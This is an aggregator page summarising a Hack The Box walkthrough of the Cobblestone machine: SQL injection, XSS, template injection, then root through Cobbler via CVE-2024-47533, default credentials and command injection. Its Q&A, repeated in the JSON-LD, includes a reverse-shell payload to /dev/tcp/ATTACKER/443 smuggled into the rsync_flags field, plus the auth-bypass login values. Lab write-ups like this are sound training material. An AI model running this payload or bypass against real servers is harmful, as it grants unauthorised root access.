<!-- mobian-agent-page publisher="dailydev" canonical="https://daily.dev/posts/htb-cobblestone-jxhw7xtg4" -->

---
title: HTB: Cobblestone | daily.dev
description: A walkthrough of the Hack The Box machine Cobblestone, a cluster of Minecraft-themed PHP sites spread across subdomains. The attack chain starts with a...
canonical: https://daily.dev/posts/htb-cobblestone-jxhw7xtg4
twitter:card: summary_large_image
twitter:site: @dailydotdev
og:type: website
og:site_name: daily.dev
og:title: HTB: Cobblestone | daily.dev
og:description: A walkthrough of the Hack The Box machine Cobblestone, a cluster of Minecraft-themed PHP sites spread across subdomains. The attack chain starts with a...
og:url: https://daily.dev/posts/htb-cobblestone-jxhw7xtg4
og:image: https://api.daily.dev/og/posts/jxHw7xTg4.png
og:image:alt: HTB: Cobblestone
og:image:width: 1200
og:image:height: 630
og:locale: en
---

> ## Documentation Index
> Fetch the complete documentation index at: https://daily.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# HTB: Cobblestone

**[0xdf hacks stuff](https://daily.dev/sources/0xdf)** · 75 min read · 0 upvotes · 0 comments

## Summary

A walkthrough of the Hack The Box machine Cobblestone, a cluster of Minecraft-themed PHP sites spread across subdomains. The attack chain starts with a second-order SQL injection used to leak application source, followed by stored XSS to hijack an admin session, then Twig server-side template injection for code execution as www-data, hardened by AppArmor. Database credentials are cracked to gain SSH access, and Cobbler running as root is abused via default credentials and an authentication bypass to gain a root shell. A bonus section explains why the SQL injection crashes the page.

## Full article

daily.dev links to this article rather than hosting it. Read it at the original source: <https://0xdf.gitlab.io/2026/08/15/htb-cobblestone.html>

## Questions this post answers

### What is CVE-2024-47533 in Cobbler and how does it allow authentication bypass?

CVE-2024-47533 affects Cobbler versions from 3.0.0 up to but not including 3.2.3 and 3.3.7, where the get_shared_secret() function always returns -1 due to a bug passing an invalid encoding parameter to a binary-mode file open, causing an exception. Since the login function accepts an empty username with a password equal to the shared secret, anyone can authenticate as the special <DIRECT> user with username '' and password -1, gaining full XML-RPC control.

_Teams patching Cobbler or auditing XML-RPC auth flows can track vulnerability writeups like this on daily.dev._

### What is the default password for the Cobbler XML-RPC admin user?

The default Cobbler XML-RPC admin credential is username cobbler with password cobbler. The settings.yaml default_password_crypted value ($1$mF86/UHC$WvcIcX2t6crBz2onWxyac.) is an MD5-crypt hash that decodes to the plaintext 'cobbler', and Cobbler's own documentation warns admins to change this default password after setup since it grants full XML-RPC control.

_Sysadmins hardening provisioning tools can keep default-credential checklists current via daily.dev._

### How can Cobbler's background_import XML-RPC function be abused for command injection?

The rsync_flags option passed to Cobbler's background_import() API function is concatenated unsanitized into an rsync shell command executed via subprocess with shell=True, allowing arbitrary command injection. Passing options like {"path": "rsync://127.0.0.1/", "name": "x", "rsync_flags": "; bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1' #"} to an authenticated XML-RPC session executes a reverse shell as root, since cobblerd typically runs with root privileges.

_Developers reviewing XML-RPC or subprocess-based automation tools can follow exploit breakdowns like this on daily.dev._

## Similar posts on daily.dev

- [HTB: HackNet](https://daily.dev/posts/htb-hacknet-ytv8gsdvp) · 0xdf hacks stuff · 0 upvotes · 0 comments
- [CodePartTwo HTB Walkthrough](https://daily.dev/posts/codeparttwo-htb-walkthrough-gzwjbhyde) · InfoSec Write-ups · 1 upvotes · 0 comments
- [HTB: Orion](https://daily.dev/posts/htb-orion-p1pnwvkbh) · 0xdf hacks stuff · 0 upvotes · 0 comments
- [HTB — Strutted Writeup: Linux Machine](https://daily.dev/posts/htb-strutted-writeup-linux-machine-x6cn8azui) · InfoSec Write-ups · 1 upvotes · 0 comments
- [HTB: CodeTwo](https://daily.dev/posts/htb-codetwo-klj991bhn) · 0xdf hacks stuff · 2 upvotes · 0 comments

---

Tags: [#php](https://daily.dev/tags/php), [#sql](https://daily.dev/tags/sql)

[View this post on daily.dev](https://daily.dev/posts/htb-cobblestone-jxhw7xtg4)

```json
{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://daily.dev/#organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180},"sameAs":["https://twitter.com/dailydotdev","https://github.com/dailydotdev","https://www.linkedin.com/company/daily-dev-ltd"]},{"@type":"WebSite","@id":"https://daily.dev/#website","url":"https://daily.dev","name":"daily.dev","publisher":{"@id":"https://daily.dev/#organization"},"potentialAction":{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://daily.dev/search?q={search_term_string}"},"query-input":"required name=search_term_string"}}]}
{"@context":"https://schema.org","@type":"TechArticle","headline":"HTB: Cobblestone","url":"https://daily.dev/posts/htb-cobblestone-jxhw7xtg4","mainEntityOfPage":{"@type":"WebPage","@id":"https://daily.dev/posts/htb-cobblestone-jxhw7xtg4"},"datePublished":"2026-08-15T15:02:54.542Z","dateModified":"2026-09-13T19:32:15.737Z","description":"A walkthrough of the Hack The Box machine Cobblestone, a cluster of Minecraft-themed PHP sites spread across subdomains. The attack chain starts with a...","image":"https://media.daily.dev/image/upload/s--1KxV4ohY--/f_auto/v1722860400/public/Placeholder%2007","thumbnailUrl":"https://media.daily.dev/image/upload/s--1KxV4ohY--/f_auto/v1722860400/public/Placeholder%2007","isAccessibleForFree":true,"articleSection":"0xdf hacks stuff","inLanguage":"en","publisher":{"@type":"Organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180}},"author":{"@type":"Organization","name":"0xdf hacks stuff","logo":"https://media.daily.dev/image/upload/t_logo,f_auto/v1/logos/16cdada70d5f4fac8b588c53bcf005ff","url":"https://daily.dev/sources/0xdf"},"commentCount":0,"discussionUrl":"https://daily.dev/posts/htb-cobblestone-jxhw7xtg4","interactionStatistic":[{"@type":"InteractionCounter","interactionType":{"@type":"LikeAction"},"userInteractionCount":0},{"@type":"InteractionCounter","interactionType":{"@type":"CommentAction"},"userInteractionCount":0}],"keywords":"php,sql","timeRequired":"PT75M"}
{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://daily.dev"},{"@type":"ListItem","position":2,"name":"0xdf hacks stuff","item":"https://daily.dev/sources/0xdf"},{"@type":"ListItem","position":3,"name":"HTB: Cobblestone"}]}
{"@context":"https://schema.org","@type":"FAQPage","@id":"https://daily.dev/posts/htb-cobblestone-jxhw7xtg4#faq","mainEntity":[{"@type":"Question","name":"What is CVE-2024-47533 in Cobbler and how does it allow authentication bypass?","acceptedAnswer":{"@type":"Answer","text":"CVE-2024-47533 affects Cobbler versions from 3.0.0 up to but not including 3.2.3 and 3.3.7, where the get_shared_secret() function always returns -1 due to a bug passing an invalid encoding parameter to a binary-mode file open, causing an exception. Since the login function accepts an empty username with a password equal to the shared secret, anyone can authenticate as the special <DIRECT> user with username '' and password -1, gaining full XML-RPC control. Teams patching Cobbler or auditing XML-RPC auth flows can track vulnerability writeups like this on daily.dev."}},{"@type":"Question","name":"What is the default password for the Cobbler XML-RPC admin user?","acceptedAnswer":{"@type":"Answer","text":"The default Cobbler XML-RPC admin credential is username cobbler with password cobbler. The settings.yaml default_password_crypted value ($1$mF86/UHC$WvcIcX2t6crBz2onWxyac.) is an MD5-crypt hash that decodes to the plaintext 'cobbler', and Cobbler's own documentation warns admins to change this default password after setup since it grants full XML-RPC control. Sysadmins hardening provisioning tools can keep default-credential checklists current via daily.dev."}},{"@type":"Question","name":"How can Cobbler's background_import XML-RPC function be abused for command injection?","acceptedAnswer":{"@type":"Answer","text":"The rsync_flags option passed to Cobbler's background_import() API function is concatenated unsanitized into an rsync shell command executed via subprocess with shell=True, allowing arbitrary command injection. Passing options like {\"path\": \"rsync://127.0.0.1/\", \"name\": \"x\", \"rsync_flags\": \"; bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1' #\"} to an authenticated XML-RPC session executes a reverse shell as root, since cobblerd typically runs with root privileges. Developers reviewing XML-RPC or subprocess-based automation tools can follow exploit breakdowns like this on daily.dev."}}]}
```

